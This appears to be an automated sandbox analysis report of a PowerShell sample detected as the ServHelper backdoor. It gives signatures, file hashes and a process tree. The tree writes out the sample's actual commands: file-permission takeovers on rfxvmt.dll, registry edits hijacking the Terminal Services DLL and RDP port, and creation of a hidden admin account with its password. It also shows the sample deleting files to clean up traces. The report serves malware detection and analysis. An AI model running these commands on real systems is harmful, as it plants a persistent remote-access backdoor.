Analysis

  • max time kernel
    121s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/09/2024, 00:11

General

  • Target
    eeb519eaefb64bc433463231d840bf14_JaffaCakes118.ps1
  • Size 3.0MB
  • Sample240921-ag2ccawdkj
  • SHA256 ed41bd0246b8f3ff6ed065d29c2dd8507d106fb5186e0ceb0bebc6339e5375b8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 6 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs

    Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\eeb519eaefb64bc433463231d840bf14_JaffaCakes118.ps1
    1⤵
    • Deletes itself
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4076
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\izma0pym\izma0pym.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4956
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES805B.tmp" "c:\Users\Admin\AppData\Local\Temp\izma0pym\CSCF3EED24F13704FB39FDCD6CD9B9E7428.TMP"
        3⤵
          PID:1068
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:864
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4912
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4484
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:404
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4560
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1236
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3396
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4540
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3164
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        2⤵
          PID:1896
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          2⤵
          • Server Software Component: Terminal Services DLL
          • Modifies registry key
          PID:3376
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          2⤵
            PID:3708
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4284
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
                PID:2028
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3048
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2488
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:384
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    5⤵
                      PID:3668
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4604
                • C:\Windows\system32\cmd.exe
                  cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3236
                  • C:\Windows\system32\net.exe
                    net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3480
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start TermService
                      5⤵
                        PID:2216
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                  2⤵
                    PID:2480
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                    2⤵
                      PID:3436
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Indicator Removal: Network Share Connection Removal
                    • Suspicious use of WriteProcessMemory
                    PID:4408
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Indicator Removal: Network Share Connection Removal
                      • Suspicious use of WriteProcessMemory
                      PID:2224
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                        • Indicator Removal: Network Share Connection Removal
                        PID:2240
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc uADdk8A5 /add
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4152
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc uADdk8A5 /add
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5060
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc uADdk8A5 /add
                        3⤵
                          PID:4180
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                      1⤵
                      • Remote Service Session Hijacking: RDP Hijacking
                      • Suspicious use of WriteProcessMemory
                      PID:4840
                      • C:\Windows\system32\net.exe
                        net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        2⤵
                        • Remote Service Session Hijacking: RDP Hijacking
                        • Suspicious use of WriteProcessMemory
                        PID:3648
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          3⤵
                          • Remote Service Session Hijacking: RDP Hijacking
                          PID:4596
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" ZEUYFSYD$ /ADD
                      1⤵
                      • Remote Service Session Hijacking: RDP Hijacking
                      PID:4652
                      • C:\Windows\system32\net.exe
                        net.exe LOCALGROUP "Remote Desktop Users" ZEUYFSYD$ /ADD
                        2⤵
                        • Remote Service Session Hijacking: RDP Hijacking
                        PID:916
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" ZEUYFSYD$ /ADD
                          3⤵
                          • Remote Service Session Hijacking: RDP Hijacking
                          PID:3472
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                      1⤵
                        PID:4640
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                          2⤵
                            PID:1648
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              3⤵
                                PID:1596
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc uADdk8A5
                            1⤵
                              PID:4056
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc uADdk8A5
                                2⤵
                                  PID:3448
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc uADdk8A5
                                    3⤵
                                      PID:2968

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      RES805B.tmp

                                      • Path C:\Users\Admin\AppData\Local\Temp\RES805B.tmp
                                      • Size 1KB
                                      • SHA256 106bc43b061ae02e7f22332aff6db71206cf2545d7798c325d23686c9b9356fd
                                      • MD5 SHA1 SHA512

                                      __PSScriptPolicyTest_xdiytuwr.1bk.ps1

                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdiytuwr.1bk.ps1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512

                                      izma0pym.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\izma0pym\izma0pym.dll
                                      • Size 3KB
                                      • SHA256 8c36b348af8c6feaf010a159efc3e8159e1226a3848e1a08eab88d37737f4c68
                                      • MD5 SHA1 SHA512

                                      mediasrv.png

                                      • Path C:\Windows\Branding\mediasrv.png
                                      • Size 55KB
                                      • SHA256 fc84cef1220db7f3605dc8eb75a4737ceb5a188dc96c47f62c4522206729982f
                                      • MD5 SHA1 SHA512 SSDEEP

                                      mediasvc.png

                                      • Path C:\Windows\Branding\mediasvc.png
                                      • Size 945KB
                                      • SHA256 6dd90fbc06b03d73a9bde2a343540993fefb7b7123483922defc0272cf6ee05c
                                      • MD5 SHA1 SHA512 SSDEEP

                                      rfxvmt.dll

                                      • Path C:\Windows\system32\rfxvmt.dll
                                      • Size 40KB
                                      • SHA256 6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
                                      • MD5 SHA1 SHA512 SSDEEP

                                      CSCF3EED24F13704FB39FDCD6CD9B9E7428.TMP

                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\izma0pym\CSCF3EED24F13704FB39FDCD6CD9B9E7428.TMP
                                      • Size 652B
                                      • SHA256 2704ad6d93b3d142d365ae60f3b8be7e35bd3c89063b36a042f39c4816864ab2
                                      • MD5 SHA1 SHA512

                                      izma0pym.0.cs

                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\izma0pym\izma0pym.0.cs
                                      • Size 504B
                                      • SHA256 63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685
                                      • MD5 SHA1 SHA512

                                      izma0pym.cmdline

                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\izma0pym\izma0pym.cmdline
                                      • Size 369B
                                      • SHA256 dbcd047ee31f399aae194912035e764dbbf266dcab84677f28ae80373826c65d
                                      • MD5 SHA1 SHA512

                                      memory/2600-40-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/2600-65-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/2600-42-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/2600-41-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/4076-30-0x0000029BBD680000-0x0000029BBD88A000-memory.dmp

                                      memory/4076-64-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/4076-29-0x0000029BBD2F0000-0x0000029BBD466000-memory.dmp

                                      memory/4076-28-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/4076-61-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/4076-62-0x00007FFE03DA3000-0x00007FFE03DA5000-memory.dmp

                                      memory/4076-63-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/4076-0-0x00007FFE03DA3000-0x00007FFE03DA5000-memory.dmp

                                      memory/4076-27-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/4076-66-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/4076-67-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/4076-25-0x0000029B9C560000-0x0000029B9C568000-memory.dmp

                                      memory/4076-12-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/4076-11-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp

                                      memory/4076-10-0x0000029B9C620000-0x0000029B9C642000-memory.dmp

                                      memory/4076-90-0x00007FFE03DA0000-0x00007FFE04861000-memory.dmp